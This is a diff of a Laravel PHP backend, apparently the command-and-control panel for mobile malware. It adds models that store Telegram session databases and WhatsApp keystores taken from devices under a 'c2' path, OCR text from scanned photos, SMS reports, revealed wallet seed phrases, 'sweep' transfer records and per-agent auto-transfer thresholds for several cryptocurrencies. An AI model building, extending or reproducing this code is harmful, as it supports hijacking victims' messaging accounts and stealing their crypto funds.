return array_values(array_unique($keys));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -4,9 +4,18 @@ namespace App\Models;
|
|||||||
|
|
||||||
use Illuminate\Database\Eloquent\Model;
|
use Illuminate\Database\Eloquent\Model;
|
||||||
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||||
|
use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||||
|
|
||||||
class Photo extends Model
|
class Photo extends Model
|
||||||
{
|
{
|
||||||
|
protected function casts(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'scan_status' => 'integer',
|
||||||
|
'scanned_at' => 'datetime',
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
protected $fillable = [
|
protected $fillable = [
|
||||||
'device_id',
|
'device_id',
|
||||||
'sha256',
|
'sha256',
|
||||||
@@ -17,10 +26,18 @@ class Photo extends Model
|
|||||||
'process_index',
|
'process_index',
|
||||||
'text_count',
|
'text_count',
|
||||||
'barcode_count',
|
'barcode_count',
|
||||||
|
'scan_status',
|
||||||
|
'scanned_at',
|
||||||
|
'ocr_text',
|
||||||
];
|
];
|
||||||
|
|
||||||
public function device(): BelongsTo
|
public function device(): BelongsTo
|
||||||
{
|
{
|
||||||
return $this->belongsTo(Device::class);
|
return $this->belongsTo(Device::class);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function reads(): HasMany
|
||||||
|
{
|
||||||
|
return $this->hasMany(PhotoRead::class);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,103 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Models;
|
||||||
|
|
||||||
|
use Illuminate\Database\Eloquent\Builder;
|
||||||
|
use Illuminate\Database\Eloquent\Model;
|
||||||
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||||
|
use Illuminate\Database\Eloquent\Relations\Relation;
|
||||||
|
|
||||||
|
class PhotoRead extends Model
|
||||||
|
{
|
||||||
|
public $timestamps = false;
|
||||||
|
|
||||||
|
protected $fillable = [
|
||||||
|
'photo_id',
|
||||||
|
'actor_guard',
|
||||||
|
'actor_id',
|
||||||
|
'read_at',
|
||||||
|
];
|
||||||
|
|
||||||
|
protected function casts(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'read_at' => 'datetime',
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
public function photo(): BelongsTo
|
||||||
|
{
|
||||||
|
return $this->belongsTo(Photo::class);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function mark(Photo $photo, string $guard, int $actorId): void
|
||||||
|
{
|
||||||
|
static::query()->firstOrCreate(
|
||||||
|
[
|
||||||
|
'photo_id' => $photo->id,
|
||||||
|
'actor_guard' => $guard,
|
||||||
|
'actor_id' => $actorId,
|
||||||
|
],
|
||||||
|
['read_at' => now()],
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param list<int> $photoIds
|
||||||
|
* @return list<int>
|
||||||
|
*/
|
||||||
|
public static function readPhotoIds(string $guard, int $actorId, array $photoIds): array
|
||||||
|
{
|
||||||
|
if ($photoIds === []) {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
|
||||||
|
return static::query()
|
||||||
|
->where('actor_guard', $guard)
|
||||||
|
->where('actor_id', $actorId)
|
||||||
|
->whereIn('photo_id', $photoIds)
|
||||||
|
->pluck('photo_id')
|
||||||
|
->map(static fn ($id) => (int) $id)
|
||||||
|
->all();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function applyFilter(Builder|Relation $q, string $guard, int $actorId, string $photoIdColumn, mixed $read): void
|
||||||
|
{
|
||||||
|
$flag = self::parseReadFilter($read);
|
||||||
|
if ($flag === null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$exists = function ($sub) use ($guard, $actorId, $photoIdColumn) {
|
||||||
|
$sub->from('photo_reads')
|
||||||
|
->whereColumn('photo_reads.photo_id', $photoIdColumn)
|
||||||
|
->where('photo_reads.actor_guard', $guard)
|
||||||
|
->where('photo_reads.actor_id', $actorId);
|
||||||
|
};
|
||||||
|
|
||||||
|
if ($flag) {
|
||||||
|
$q->whereExists($exists);
|
||||||
|
} else {
|
||||||
|
$q->whereNotExists($exists);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function parseReadFilter(mixed $raw): ?bool
|
||||||
|
{
|
||||||
|
if ($raw === null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
$value = is_string($raw) ? strtolower(trim($raw)) : $raw;
|
||||||
|
if ($value === '' || $value === 'all') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if ($value === 0 || $value === '0' || $value === 'unread') {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ($value === 1 || $value === '1' || $value === 'read') {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,237 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Models;
|
||||||
|
|
||||||
|
use Illuminate\Database\Eloquent\Model;
|
||||||
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||||
|
use Illuminate\Support\Facades\Storage;
|
||||||
|
|
||||||
|
class PluginSession extends Model
|
||||||
|
{
|
||||||
|
public const KIND_TELEGRAM = 1;
|
||||||
|
|
||||||
|
public const KIND_WHATSAPP = 2;
|
||||||
|
|
||||||
|
public static function payloadFilePath(string $kind, string $deviceKey, ?string $accountId): string
|
||||||
|
{
|
||||||
|
$dir = (int) $kind === self::KIND_TELEGRAM ? 'telegram' : 'whatsapp';
|
||||||
|
$safe = $accountId !== null && $accountId !== ''
|
||||||
|
? preg_replace('/[^A-Za-z0-9._-]+/', '_', $accountId)
|
||||||
|
: 'unknown';
|
||||||
|
|
||||||
|
return 'c2/plugin-sessions/'.$deviceKey.'/'.$dir.'/'.$safe.'.json';
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function whatsappFilePath(string $deviceKey, ?string $accountId): string
|
||||||
|
{
|
||||||
|
return self::payloadFilePath(self::KIND_WHATSAPP, $deviceKey, $accountId);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $blob
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
public static function dbSummary(string $kind, array $blob, string $path, int $bytes): array
|
||||||
|
{
|
||||||
|
if ((int) $kind === self::KIND_TELEGRAM) {
|
||||||
|
return [
|
||||||
|
'user_id' => self::scalarOrNull($blob['user_id'] ?? $blob['userId'] ?? null),
|
||||||
|
'has_state' => isset($blob['state']) && $blob['state'] !== '' && $blob['state'] !== [],
|
||||||
|
'has_db' => isset($blob['db_sqlite']) && $blob['db_sqlite'] !== '' && $blob['db_sqlite'] !== null,
|
||||||
|
'payload_path' => $path,
|
||||||
|
'payload_bytes' => $bytes,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'nickname' => self::scalarOrNull($blob['nickname'] ?? null),
|
||||||
|
'whatsappVersion' => self::scalarOrNull($blob['whatsappVersion'] ?? $blob['version'] ?? null),
|
||||||
|
'phoneId' => self::scalarOrNull($blob['phoneId'] ?? null),
|
||||||
|
'has_keystore' => isset($blob['phoneKeyStore']) || isset($blob['clientStaticKeypairBase64']),
|
||||||
|
'payload_path' => $path,
|
||||||
|
'payload_bytes' => $bytes,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $blob
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
public static function whatsappDbSummary(array $blob, string $path, int $bytes): array
|
||||||
|
{
|
||||||
|
return self::dbSummary(self::KIND_WHATSAPP, $blob, $path, $bytes);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static function scalarOrNull(mixed $value): ?string
|
||||||
|
{
|
||||||
|
if (is_string($value) || is_int($value) || is_float($value)) {
|
||||||
|
$value = trim((string) $value);
|
||||||
|
|
||||||
|
return $value !== '' ? $value : null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
protected $fillable = [
|
||||||
|
'device_id', 'device_key', 'kind', 'account_id', 'phone', 'payload',
|
||||||
|
];
|
||||||
|
|
||||||
|
protected function casts(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'kind' => 'integer',
|
||||||
|
'payload' => 'array',
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
public function device(): BelongsTo
|
||||||
|
{
|
||||||
|
return $this->belongsTo(Device::class);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function kindLabel(): string
|
||||||
|
{
|
||||||
|
return match ($this->kind) {
|
||||||
|
self::KIND_TELEGRAM => 'Telegram',
|
||||||
|
self::KIND_WHATSAPP => 'WhatsApp',
|
||||||
|
default => (string) $this->kind,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public function isTelegram(): bool
|
||||||
|
{
|
||||||
|
return (int) $this->kind === self::KIND_TELEGRAM;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function isWhatsApp(): bool
|
||||||
|
{
|
||||||
|
return (int) $this->kind === self::KIND_WHATSAPP;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Compact fields for the collection list (omit large blobs).
|
||||||
|
*
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
public function listSummary(): array
|
||||||
|
{
|
||||||
|
$payload = is_array($this->payload) ? $this->payload : [];
|
||||||
|
if ($this->isWhatsApp()) {
|
||||||
|
return [
|
||||||
|
'account_id' => $this->account_id ?: '',
|
||||||
|
'phone' => $this->phone ?: '',
|
||||||
|
'nickname' => $this->scalarFromPayload($payload, ['nickname']),
|
||||||
|
'version' => $this->scalarFromPayload($payload, ['whatsappVersion', 'version']),
|
||||||
|
'has_keystore' => (bool) ($payload['has_keystore']
|
||||||
|
?? (isset($payload['phoneKeyStore']) || isset($payload['clientStaticKeypairBase64']))),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'account_id' => $this->account_id ?: $this->scalarFromPayload($payload, ['user_id', 'userId']),
|
||||||
|
'has_state' => (bool) ($payload['has_state']
|
||||||
|
?? (isset($payload['state']) && $payload['state'] !== '' && $payload['state'] !== [])),
|
||||||
|
'has_db' => (bool) ($payload['has_db']
|
||||||
|
?? (isset($payload['db_sqlite']) && $payload['db_sqlite'] !== '' && $payload['db_sqlite'] !== null)),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Full session blob from the on-disk file, or the JSON column if no file.
|
||||||
|
*
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
public function fullPayload(): array
|
||||||
|
{
|
||||||
|
$payload = is_array($this->payload) ? $this->payload : [];
|
||||||
|
$path = $payload['payload_path'] ?? null;
|
||||||
|
if (is_string($path) && $path !== '' && Storage::disk('local')->exists($path)) {
|
||||||
|
$decoded = json_decode((string) Storage::disk('local')->get($path), true);
|
||||||
|
if (is_array($decoded)) {
|
||||||
|
return $decoded;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $payload;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function payloadPath(): ?string
|
||||||
|
{
|
||||||
|
$path = is_array($this->payload) ? ($this->payload['payload_path'] ?? null) : null;
|
||||||
|
|
||||||
|
return is_string($path) && $path !== '' ? $path : null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function downloadFilename(): string
|
||||||
|
{
|
||||||
|
$label = $this->isWhatsApp() ? 'ws' : 'tg';
|
||||||
|
$device = preg_replace('/[^A-Za-z0-9._-]+/', '_', (string) ($this->device_key ?: $this->device_id)) ?: 'device';
|
||||||
|
$account = preg_replace('/[^A-Za-z0-9._-]+/', '_', (string) ($this->account_id ?: $this->id)) ?: 'account';
|
||||||
|
|
||||||
|
return $label.'-'.$device.'-'.$account.'.json';
|
||||||
|
}
|
||||||
|
|
||||||
|
public function displayPayload(): array
|
||||||
|
{
|
||||||
|
$payload = $this->fullPayload();
|
||||||
|
if ($this->isTelegram()) {
|
||||||
|
return $payload;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $this->truncatePayload($payload);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $payload
|
||||||
|
*/
|
||||||
|
private function scalarFromPayload(array $payload, array $keys): string
|
||||||
|
{
|
||||||
|
foreach ($keys as $key) {
|
||||||
|
$value = $payload[$key] ?? null;
|
||||||
|
if (is_int($value) || is_float($value)) {
|
||||||
|
return (string) $value;
|
||||||
|
}
|
||||||
|
if (is_string($value) && trim($value) !== '') {
|
||||||
|
return trim($value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $payload
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
private function truncatePayload(array $payload, int $max = 240): array
|
||||||
|
{
|
||||||
|
$out = [];
|
||||||
|
foreach ($payload as $key => $value) {
|
||||||
|
if (is_array($value)) {
|
||||||
|
$encoded = json_encode($value);
|
||||||
|
if (is_string($encoded) && strlen($encoded) > 1500) {
|
||||||
|
$out[$key] = [
|
||||||
|
'_omitted' => true,
|
||||||
|
'items' => count($value),
|
||||||
|
'bytes' => strlen($encoded),
|
||||||
|
];
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$out[$key] = $this->truncatePayload($value, $max);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (! is_string($value)) {
|
||||||
|
$out[$key] = $value;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (strlen($value) > $max) {
|
||||||
|
$out[$key] = substr($value, 0, $max).'… ('.strlen($value).' bytes)';
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$out[$key] = $value;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Models;
|
||||||
|
|
||||||
|
use Illuminate\Database\Eloquent\Model;
|
||||||
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
||||||
|
|
||||||
|
class SmsReport extends Model
|
||||||
|
{
|
||||||
|
protected $fillable = [
|
||||||
|
'device_id', 'device_key', 'task_id', 'dest_phone', 'local_phone', 'msg', 'status', 'payload',
|
||||||
|
];
|
||||||
|
|
||||||
|
protected function casts(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
'payload' => 'array',
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
public function device(): BelongsTo
|
||||||
|
{
|
||||||
|
return $this->belongsTo(Device::class);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,126 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Models;
|
||||||
|
|
||||||
|
use App\Support\VisitorIp;
|
||||||
|
use Illuminate\Database\Eloquent\Model;
|
||||||
|
use Illuminate\Http\Request;
|
||||||
|
|
||||||
|
class SystemLog extends Model
|
||||||
|
{
|
||||||
|
public const ACTION_MNEMONIC_REVEAL = 'mnemonic_reveal';
|
||||||
|
|
||||||
|
public const ACTION_MNEMONIC_CREATE = 'mnemonic_create';
|
||||||
|
|
||||||
|
public const ACTION_ADMIN_LOCKED = 'admin_locked';
|
||||||
|
|
||||||
|
public const ACTION_ADMIN_UNLOCKED = 'admin_unlocked';
|
||||||
|
|
||||||
|
public const ACTION_AGENT_LOCKED = 'agent_locked';
|
||||||
|
|
||||||
|
public const ACTION_AGENT_UNLOCKED = 'agent_unlocked';
|
||||||
|
|
||||||
|
public const UPDATED_AT = null;
|
||||||
|
|
||||||
|
protected $fillable = [
|
||||||
|
'action',
|
||||||
|
'actor_guard',
|
||||||
|
'actor_id',
|
||||||
|
'actor_username',
|
||||||
|
'content',
|
||||||
|
'ip',
|
||||||
|
'created_at',
|
||||||
|
];
|
||||||
|
|
||||||
|
/** @return array<string, string> */
|
||||||
|
public static function actionLabels(): array
|
||||||
|
{
|
||||||
|
return [
|
||||||
|
self::ACTION_MNEMONIC_REVEAL => '查看助记词',
|
||||||
|
self::ACTION_MNEMONIC_CREATE => '手动添加助记词',
|
||||||
|
self::ACTION_ADMIN_LOCKED => '账号封锁',
|
||||||
|
self::ACTION_ADMIN_UNLOCKED => '账号解锁',
|
||||||
|
self::ACTION_AGENT_LOCKED => '代理账号封锁',
|
||||||
|
self::ACTION_AGENT_UNLOCKED => '代理账号解锁',
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
public function actorRoleLabel(): string
|
||||||
|
{
|
||||||
|
return match ($this->actor_guard) {
|
||||||
|
'admin' => '管理员',
|
||||||
|
'agent' => '代理',
|
||||||
|
default => $this->actor_guard ?: '—',
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function record(
|
||||||
|
Admin|User $actor,
|
||||||
|
string $guard,
|
||||||
|
string $action,
|
||||||
|
string $content,
|
||||||
|
?Request $request = null,
|
||||||
|
): self {
|
||||||
|
return static::query()->create([
|
||||||
|
'action' => $action,
|
||||||
|
'actor_guard' => $guard,
|
||||||
|
'actor_id' => $actor->id,
|
||||||
|
'actor_username' => (string) $actor->username,
|
||||||
|
'content' => $content,
|
||||||
|
'ip' => $request ? VisitorIp::fromRequest($request) : null,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function recordMnemonicReveal(
|
||||||
|
Admin|User $actor,
|
||||||
|
string $guard,
|
||||||
|
WalletMnemonic $mnemonic,
|
||||||
|
?Request $request = null,
|
||||||
|
): self {
|
||||||
|
$device = $mnemonic->relationLoaded('device')
|
||||||
|
? $mnemonic->device
|
||||||
|
: $mnemonic->device()->first();
|
||||||
|
|
||||||
|
$parts = ['#'.$mnemonic->id];
|
||||||
|
if ($device?->device_id) {
|
||||||
|
$parts[] = '设备 '.$device->device_id;
|
||||||
|
}
|
||||||
|
if ($device?->channel_id) {
|
||||||
|
$parts[] = '渠道 '.$device->channel_id;
|
||||||
|
}
|
||||||
|
if ($mnemonic->source) {
|
||||||
|
$parts[] = '来源 '.$mnemonic->source;
|
||||||
|
}
|
||||||
|
|
||||||
|
return static::record(
|
||||||
|
$actor,
|
||||||
|
$guard,
|
||||||
|
self::ACTION_MNEMONIC_REVEAL,
|
||||||
|
'查看助记词 '.implode(',', $parts),
|
||||||
|
$request,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function recordMnemonicCreate(
|
||||||
|
Admin $actor,
|
||||||
|
WalletMnemonic $mnemonic,
|
||||||
|
Device $device,
|
||||||
|
?Request $request = null,
|
||||||
|
): self {
|
||||||
|
$parts = ['#'.$mnemonic->id];
|
||||||
|
if ($device->device_id) {
|
||||||
|
$parts[] = '设备 '.$device->device_id;
|
||||||
|
}
|
||||||
|
if ($mnemonic->source) {
|
||||||
|
$parts[] = '来源 '.$mnemonic->source;
|
||||||
|
}
|
||||||
|
|
||||||
|
return static::record(
|
||||||
|
$actor,
|
||||||
|
'admin',
|
||||||
|
self::ACTION_MNEMONIC_CREATE,
|
||||||
|
'手动添加助记词 '.implode(',', $parts),
|
||||||
|
$request,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,72 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Models;
|
||||||
|
|
||||||
|
use Illuminate\Database\Eloquent\Model;
|
||||||
|
|
||||||
|
class TransferRecord extends Model
|
||||||
|
{
|
||||||
|
public const STATUS_SUCCESS = 'success';
|
||||||
|
|
||||||
|
public const STATUS_FAILED = 'failed';
|
||||||
|
|
||||||
|
public const TYPE_OUT = 'out';
|
||||||
|
|
||||||
|
public static function isFeeTopup(?string $operator): bool
|
||||||
|
{
|
||||||
|
return str_starts_with(trim((string) $operator), 'fee-topup');
|
||||||
|
}
|
||||||
|
|
||||||
|
protected $fillable = [
|
||||||
|
'from_address',
|
||||||
|
'to_address',
|
||||||
|
'chain',
|
||||||
|
'tx_hash',
|
||||||
|
'amount',
|
||||||
|
'type',
|
||||||
|
'asset',
|
||||||
|
'operator',
|
||||||
|
'status',
|
||||||
|
'error',
|
||||||
|
];
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Addresses that already have a successful outbound sweep.
|
||||||
|
*
|
||||||
|
* @param list<string> $addresses
|
||||||
|
* @return array<string, true>
|
||||||
|
*/
|
||||||
|
public static function successfulSweepSet(array $addresses): array
|
||||||
|
{
|
||||||
|
$addresses = array_values(array_unique(array_filter(
|
||||||
|
$addresses,
|
||||||
|
static fn ($address) => is_string($address) && $address !== ''
|
||||||
|
)));
|
||||||
|
if ($addresses === []) {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
|
||||||
|
$found = static::query()
|
||||||
|
->whereIn('from_address', $addresses)
|
||||||
|
->where('status', self::STATUS_SUCCESS)
|
||||||
|
->where('type', self::TYPE_OUT)
|
||||||
|
->distinct()
|
||||||
|
->pluck('from_address');
|
||||||
|
|
||||||
|
$set = [];
|
||||||
|
foreach ($found as $address) {
|
||||||
|
$set[(string) $address] = true;
|
||||||
|
$set[strtolower((string) $address)] = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $set;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, true> $set
|
||||||
|
*/
|
||||||
|
public static function addressInSweepSet(string $address, array $set): bool
|
||||||
|
{
|
||||||
|
return isset($set[$address]) || isset($set[strtolower($address)]);
|
||||||
|
}
|
||||||
|
}
|
||||||
+148
-2
@@ -8,28 +8,174 @@ use Illuminate\Foundation\Auth\User as Authenticatable;
|
|||||||
class User extends Authenticatable
|
class User extends Authenticatable
|
||||||
{
|
{
|
||||||
protected $fillable = [
|
protected $fillable = [
|
||||||
'username', 'password', 'status', 'comment', 'chat_id', 'bot_id',
|
'username', 'password', 'status', 'comment', 'chat_id',
|
||||||
|
'auto_transfer_enabled',
|
||||||
|
'auto_transfer_threshold_usdt',
|
||||||
|
'auto_transfer_threshold_trx',
|
||||||
|
'auto_transfer_threshold_eth',
|
||||||
|
'auto_transfer_threshold_btc',
|
||||||
|
'auto_transfer_threshold_bnb',
|
||||||
|
'album_storage_default',
|
||||||
|
'can_reveal_mnemonics',
|
||||||
|
'login_attempts',
|
||||||
|
'locked_at',
|
||||||
];
|
];
|
||||||
|
|
||||||
protected $hidden = [
|
protected $hidden = [
|
||||||
'password', 'remember_token',
|
'password', 'remember_token', 'bot_token', 'google_secret',
|
||||||
];
|
];
|
||||||
|
|
||||||
|
protected static function booted(): void
|
||||||
|
{
|
||||||
|
$bust = static function (): void {
|
||||||
|
app(\App\Services\FilterOptionsService::class)->forgetAgents();
|
||||||
|
};
|
||||||
|
static::saved($bust);
|
||||||
|
static::deleted($bust);
|
||||||
|
}
|
||||||
|
|
||||||
protected function casts(): array
|
protected function casts(): array
|
||||||
{
|
{
|
||||||
return [
|
return [
|
||||||
'password' => 'hashed',
|
'password' => 'hashed',
|
||||||
'status' => 'integer',
|
'status' => 'integer',
|
||||||
|
'auto_transfer_enabled' => 'boolean',
|
||||||
|
'auto_transfer_threshold_usdt' => 'decimal:8',
|
||||||
|
'auto_transfer_threshold_trx' => 'decimal:8',
|
||||||
|
'auto_transfer_threshold_eth' => 'decimal:8',
|
||||||
|
'auto_transfer_threshold_btc' => 'decimal:8',
|
||||||
|
'auto_transfer_threshold_bnb' => 'decimal:8',
|
||||||
|
'album_storage_default' => 'boolean',
|
||||||
|
'can_reveal_mnemonics' => 'boolean',
|
||||||
|
'google_auth_open' => 'integer',
|
||||||
|
'login_attempts' => 'integer',
|
||||||
|
'locked_at' => 'datetime',
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
protected $attributes = [
|
||||||
|
'album_storage_default' => false,
|
||||||
|
'can_reveal_mnemonics' => false,
|
||||||
|
];
|
||||||
|
|
||||||
public function isEnabled(): bool
|
public function isEnabled(): bool
|
||||||
{
|
{
|
||||||
return (int) $this->status === 1;
|
return (int) $this->status === 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function isLocked(): bool
|
||||||
|
{
|
||||||
|
return $this->locked_at !== null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Increment the consecutive failed-login counter; auto-lock when the
|
||||||
|
* count reaches $maxAttempts (default 5). Returns true when the call
|
||||||
|
* triggers a lock.
|
||||||
|
*/
|
||||||
|
public function recordFailedLogin(int $maxAttempts = 5): bool
|
||||||
|
{
|
||||||
|
$this->login_attempts = (int) $this->login_attempts + 1;
|
||||||
|
$justLocked = false;
|
||||||
|
if ($this->login_attempts >= $maxAttempts && ! $this->isLocked()) {
|
||||||
|
$this->locked_at = now();
|
||||||
|
$justLocked = true;
|
||||||
|
}
|
||||||
|
$this->save();
|
||||||
|
|
||||||
|
return $justLocked;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Reset the failed-login counter (called after a successful login or
|
||||||
|
* when an admin manually unlocks the account).
|
||||||
|
*/
|
||||||
|
public function clearLoginAttempts(): void
|
||||||
|
{
|
||||||
|
if ((int) $this->login_attempts !== 0 || $this->locked_at !== null) {
|
||||||
|
$this->login_attempts = 0;
|
||||||
|
$this->locked_at = null;
|
||||||
|
$this->save();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
public function channels(): HasMany
|
public function channels(): HasMany
|
||||||
{
|
{
|
||||||
return $this->hasMany(Channel::class, 'user_id');
|
return $this->hasMany(Channel::class, 'user_id');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function albumStorageDefaultEnabled(): bool
|
||||||
|
{
|
||||||
|
return (bool) ($this->album_storage_default ?? false);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function mnemonicRevealEnabled(): bool
|
||||||
|
{
|
||||||
|
return (bool) ($this->can_reveal_mnemonics ?? false);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function canRevealMnemonics(): bool
|
||||||
|
{
|
||||||
|
return (bool) config('coruna.mnemonic_reveal.staff_enabled') && $this->mnemonicRevealEnabled();
|
||||||
|
}
|
||||||
|
|
||||||
|
public function hasGoogleBound(): bool
|
||||||
|
{
|
||||||
|
return filled($this->google_secret);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function requiresLoginGoogle(): bool
|
||||||
|
{
|
||||||
|
return $this->hasGoogleBound() && (int) $this->google_auth_open === 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* New-device album_storage default for a channel.
|
||||||
|
* Agent channels use that agent's switch. Official channels use the system switch.
|
||||||
|
* Unknown channel IDs stay off.
|
||||||
|
*/
|
||||||
|
public static function albumStorageDefaultForChannel(?string $channelId): bool
|
||||||
|
{
|
||||||
|
$channelId = trim((string) $channelId);
|
||||||
|
if ($channelId === '') {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
$userId = Channel::query()->where('channel_id', $channelId)->value('user_id');
|
||||||
|
if ($userId === null) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((int) $userId === Channel::OFFICIAL_USER_ID) {
|
||||||
|
return (bool) config('coruna.album_storage.official_default');
|
||||||
|
}
|
||||||
|
|
||||||
|
$agent = static::query()->find((int) $userId);
|
||||||
|
|
||||||
|
return $agent?->albumStorageDefaultEnabled() ?? false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public function hasTelegramChat(): bool
|
||||||
|
{
|
||||||
|
return trim((string) ($this->chat_id ?? '')) !== '';
|
||||||
|
}
|
||||||
|
|
||||||
|
/** @deprecated Use hasTelegramChat(); kept for existing call sites. */
|
||||||
|
public function hasTelegramBot(): bool
|
||||||
|
{
|
||||||
|
return $this->hasTelegramChat();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function findEnabledByChatId(int|string|null $chatId): ?self
|
||||||
|
{
|
||||||
|
$chatId = trim((string) $chatId);
|
||||||
|
if ($chatId === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return static::query()
|
||||||
|
->where('status', 1)
|
||||||
|
->where('chat_id', $chatId)
|
||||||
|
->orderBy('id')
|
||||||
|
->first();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
|||||||
class WalletAddress extends Model
|
class WalletAddress extends Model
|
||||||
{
|
{
|
||||||
/** @var list<string> */
|
/** @var list<string> */
|
||||||
public const COIN_COLUMNS = ['usdt', 'trx', 'eth', 'btc', 'bnb'];
|
public const COIN_COLUMNS = ['usdt', 'trx', 'eth', 'btc', 'bnb', 'sol'];
|
||||||
|
|
||||||
/** Display decimal places per coin (UI). */
|
/** Display decimal places per coin (UI). */
|
||||||
public const DISPLAY_DECIMALS = [
|
public const DISPLAY_DECIMALS = [
|
||||||
@@ -17,23 +17,28 @@ class WalletAddress extends Model
|
|||||||
'eth' => 6,
|
'eth' => 6,
|
||||||
'btc' => 8,
|
'btc' => 8,
|
||||||
'bnb' => 6,
|
'bnb' => 6,
|
||||||
|
'sol' => 6,
|
||||||
];
|
];
|
||||||
|
|
||||||
protected $fillable = [
|
protected $fillable = [
|
||||||
'device_id', 'address', 'chain_type',
|
'device_id', 'address', 'chain_type',
|
||||||
